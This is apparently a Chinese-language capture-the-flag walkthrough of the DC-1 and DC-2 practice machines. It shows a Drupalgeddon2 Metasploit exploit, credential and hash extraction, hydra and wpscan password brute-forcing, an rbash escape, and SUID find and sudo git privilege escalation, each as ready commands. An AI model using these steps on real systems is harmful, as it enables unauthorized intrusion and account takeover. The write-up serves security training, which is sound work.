DC1-2靶机复现

DC1-2靶机复现

DC-1

flag1——msfconsole使用

先用nmap扫描以下(这里是将DC-1靶机和kali都开启并使用NAT连接的情况下并且知道了DC-1靶机的ip域名),同时我们也知道了靶机所开放的端口

尝试访问

看起来很像一个管理系统的登录面板啊,用火狐插件搜罗一下页面信息

搜集到如下信息:

1
2
3
4
Drupal  7  一种cms
php 5.4.45
apache 2.2.22
jQusery 1.4.4

接下来使用Metasploit找一下是否有漏洞,首先打开工具:

1
msfconsole

我们使用命令查找以下是否有Drupal这种cms的漏洞

1
search Drupal

发现了好几个CVE漏洞

以18年的漏洞为例

1
use exploit/unix/webapp/drupal_drupalgeddon2
1
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp    弹出来一个没有有效载荷
1
show options   查看以下漏洞产生所需参数配置

可以发现在必需要求设置为yes的参数里,只有RHOSTS没有值,所以我们将其设置为靶机IP

1
set RHOSTS 192.168.10.135

可以看到参数已经设置成功

接下来使用run开始攻击:

1
run

出现这样就表示已经连接成功,可以直接上shell了

1
shell

输入之后尝试执行命令

哎?发现了一个可疑文件:flag1.txt ,使用cat查询flag1.txt

flag1.txt告诉我们每一个好的cms都需要一个好的配置文件——你也一样,那我们来康康配置文件

flag2

查查Drupal的配置文件名叫做settings.php,查询看看

1
2
find -name settings.php
cat ./sites/default/settings.php

可见,我们查到了flag2的内容,同时出来的还有一个数据库的用户名和密码

1
mysql -udbuser -pR0ck3t

flag3

这里出现了登陆失败,所以我们先试试将普通shell改为交互式shell

1
python -c 'import pty; pty.spawn("/bin/bash")'

再次执行数据库命令

可以看到我们成功登陆进了数据库,先看看有啥表

1
show datebases;

可以看到一个是系统库,还有一个是自己的,进去查看一下

1
use drupaldb;      show tables;

可以看见是有很多表的,我们浏览并发现了一个可能藏有有用信息的表

1
select * from users;

发现了两个用户:

1
2
admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg

看到这个admin还是很兴奋的,因为他应该是管理员账号,但是这个密码应该是加密过的

法1 修改密码

既然要修改密码,我们查到Drupal的加密脚本是在/var/www/scripts/password-hash.sh目录下,先退出数据库:

1
exit;
1
cat /var/www/scripts/password-hash.sh

在加密脚本里面我们可以看到能用php加参数运行

1
php /var/www/scripts/password-hash.sh 123456

可以看到脚本给我们显示出了加密之后的密码,现在我们来修改管理员的密码,首先还是进入到数据库和Drupal的表,再修改密码:

1
use drupaldb;    update users set pass = "$S$D1UQvb3x7lKoCSX6S9K.r.wB202Lsa/r7fkOj7CelJsSEMFDJjGv" where name = 'admin' or name = 'Fred';

法2 添加admin用户

drupal7版本有个SQL注入的漏洞,可以添加一个admin权限的用户,适用版本7.31以下,我们可以在msf找一下这个工具

发现果然是有的:

然后看一下脚本:

1
searchsploit 34992.py -p

可以通过url下载脚本,这里就不再多说

尝试登录,在content里面发现了flag3

同时flag3告诉了我们一些信息passwd和shadow,明显就是linux的文件

flag4

下面有对于etc/passwd和etc/shadow,讲的非常详细的两篇文章:

Linux /etc/passwd内容解释(超详细) (biancheng.net)

Linux /etc/shadow(影子文件)内容解析(超详细) (biancheng.net)

从两篇文章中我们得知,现在用户的密码存放在/etc/shadow中,但是这个文件只能用root身份登录,但我们的交互式shell显示出来的只是普通用户,所以这里应该就涉及到了提权

我们先看看用户:

1
cat /etc/passwd

发现了flag4这个用户,但是我们并没有他的密码,所以尝试一下暴力破解

相关知识的两篇文章:

(6条消息) SSH简介及两种远程登录的方法_ssh @_Jack LDZ的博客-CSDN博客

黑客工具之hydra详细使用教程 - 知乎 (zhihu.com)

1
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.10.135 

我们之前使用nmap扫端口时也发现22端口开放了ssh,这里也爆破出flag4用户的密码是orange,然后我们用kali进行连接

1
ssh flag4@192.168.10.135

发现好像也没啥

flag5——suid提权

但是上面说到,访问/etc/shadow需要root权限,这也就意味着需要提权

关于suid提权:

简谈SUID提权 - FreeBuf网络安全行业门户

利用find命令来查找具有SUID权限的文件

1
find / -user root -perm -4000 -print 2>/dev/null

find比较常用,可以执行root权限的命令找查文件,

1
find / -name index.php -exec "/bin/sh" \;

找查什么文件不重要(但是是存在的文件),只需要格式对,然后后面加上 -exec “/bin/sh” ;

关于/bin/sh的介绍:#!/bin/sh简介 - feng..liu - 博客园 (cnblogs.com)

1
2
3
4
5
cd /root

ls

cat thefinalflag.txt

终于拿到最后一个flag了,与君共勉。

以上内容参考大神文章:

DC-1靶场搭建及渗透实战详细过程

DC-2

flag1

首先用nmap扫描一下,因为是NAT模式,所以可以直接搜一定范围内的:

1
nmap 192.168.10.0/24

我们知道该靶机的mac地址,所以可以很轻松的在扫描出的里面找到IP地址,DC-2靶机地址为192.168.10.136,只有80端口开启了http服务

但是这个命令只是执行了常见端口的扫描,现在使用全面扫描的命令对目标靶机再次进行扫描

1
nmap -A -p- 192.168.10.136

可以看到除了80端口之外,还有7744开放了ssh服务

尝试访问,发现访问失败,我们要将靶机的IP地址放在host文件夹下

1
C:\Windows\System32\drivers\etc

将靶机的IP添加到其中

这个文件是干什么的呢,根据Windows系统规定,在进行DNS请求以前,Windows系统会先检查自己的Hosts文件中是否有这个地址映射关系,如果有则调用这个 IP地址映射,如果没有再向已知的DNS服务器提出域名解析。 也就是说Hosts的请求级别比DNS高。 C:Windows/System32/drivers/etc/hosts 是域名解析文件

我们一开始是没法改写host文件的,所以要改写权限

写入之后就可以成功访问了。

flag2——cewl配合wpscan的使用

同时得知该网站页面是由wordpress搭建的。也是一种CMS,所以就用metasploit的search找了一下,发现wordpress都是对于特定版本发生的,并且对DC-2靶机探测,但是靶机并没有对应的漏洞,所以就打消了使用框架漏洞的想法。

页面上就有一个flag,我们直接进行查看,并翻译一下

1
2
3
4
5
你的常规字典可能无法爆破成功,因此,也许你需要去cewl一个字典。
尽管密码字典越大越好,但是有时你仍然无法爆破出正确密码
登录去查看下一个flag
如果你无法发现flag,登录另一个
这里提示我们cewl一个密码字典,kali走起

提示了cewl,所以就上网看了看,这是kali自带的密码字典生成工具

既然要用cewl生成字典,那么就要找到登录框,使用dirb挖掘一下目录:

1
dirb http://dc-2

尝试对于+号开头的进行访问,很快就找到了登陆界面:

同时由于wordpress这种热门的搭建博客的CMS,在这里也就知道了一个新工具,wpscan(一种专门针对于wordpress的扫描工具),这里就简单说一下其参数:

接下来用wpscan枚举一下用户名:

1
wpscan --url http://dc-2/ -e u      //枚举用户名字

扫描出的三个用户:

1
2
3
admin
jerry
tom

知道用户名,并结合flag1的提示,我们使用cewl进行密码字典的生成

1
cewl http://dc-2 -w passwd.txt

在对应目录下就生成了密码字典

接下来将用户名输出到一个文件里,方便我们使用wpscan进行爆破

1
2
3
echo "admin" > user.txt
echo "jerry" >> user.txt
echo "tom" >> user.txt

再使用wpscan进行爆破:

1
wpscan --url http://dc-2/ -U user.txt -P passwd.txt

可以看到爆破出了两个用户名和其对应的密码:

1
2
jerry/adipiscing
tom/parturient

尝试登录,注:这里可能在登录成功之后跳转到了一个空白页面,需要我们手动在url里面输入:http://dc-2/wp-admin/

在页面里面到处找找就发现了flag2。

flag2的内容告诉我们:

1
wordpress已经没有什么了,让我们尝试其他的方法

flag3

框架相关已经没了,另一条路是什么呢,这时我们想起靶机的7744端口还开放了ssh服务,还是尝试之前爆破出来的用户名和密码尝试登录

1
ssh jerry@192.168.10.136 -p 7744

输了几次对应密码都不对,就尝试使用tom进行登录:

1
ssh tom@192.168.10.136 -p 7744

可以看到登录成功,接下来使用ls发现了flag3.txt,再使用cat命令查看文件内容,但是发现命令被禁用了

1
compgen -c       //查看可以使用的指令

发现很多命令都可以,但是我们比较熟知的就是vi,使用vi进行查看:

1
vi flag3.txt

拿到flag3的内容

1
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

提示我们需要su来切换用户

flag4——vi提权

除了vi提权,还有一种就是使用自己定义的bash对rbash进行逃逸

这里有一篇rbash讲的很好的文章:

(6条消息) 【渗透测试】— rbash逃逸方法简述_rbash 命令_通地塔的博客-CSDN博客

直接进行切换:

1
su jerry

还是收到了rbash限制,所以就需要进行vi提权(使用vi进入任意文件)

1
vi 123

然后在末行模式下使用:

1
2
:set shell=/bin/bash
:shell
1
2
cd ..  //退回上级目录
ls

发现了jerry目录,进入其中,并ls一下

还是使用vi查看一下:

1
Good to see that you’ve made it this far - but you’re not home yet.You still need to get the final flag (the only flag that really counts!!!).No hints here - you’re on your own now. :-)Go on - git outta here!!!
1
2
3
4
5
6
7
8
Good to see that you've made it this far - but you're not home yet.
很高兴看到你走了这么远-但你还没回家。
You still need to get the final flag (the only flag that really counts!!!).
你仍然需要得到最终的标志(唯一真正重要的标志!!!) # 就是root嘛,懂的
No hints here - you're on your own now. :-)
这里没有提示-你现在只能靠自己了。:-)
Go on - git outta here!!!!
去吧,离这里远点 #是用 git 提权吗

flag5——git提权

所以就要切换到root用户

直接切是切不了的

在这里使用上面文章的方法:

1
2
3
4
5
6
7
export -p        //查看环境变量
BASH_CMDS[a]=/bin/sh;a //把/bin/sh给a
/bin/bash
export PATH=$PATH:/bin/ //添加环境变量
export PATH=$PATH:/usr/bin //添加环境变量

提权成功

发现做完这些还是进不去

这时候我们想到了suid,用命令看看有哪些是具有suid的可执行文件

1
find / -user root -perm -4000 -print 2>/dev/null

我们可以发现sudo是具有suid的权限的,所以就用sudo -l命令来看看有哪些是具有sudo权限的

发现有git可以直接切换到root权限

1
2
3
cd
sudo git help config
!/bin/bash //在末行模式输入

可以看到,成功拿到了root权限,但是我们的目录退到了jerry目录下,再次cd

1
2
3
cd
ls
cat final-flag.txt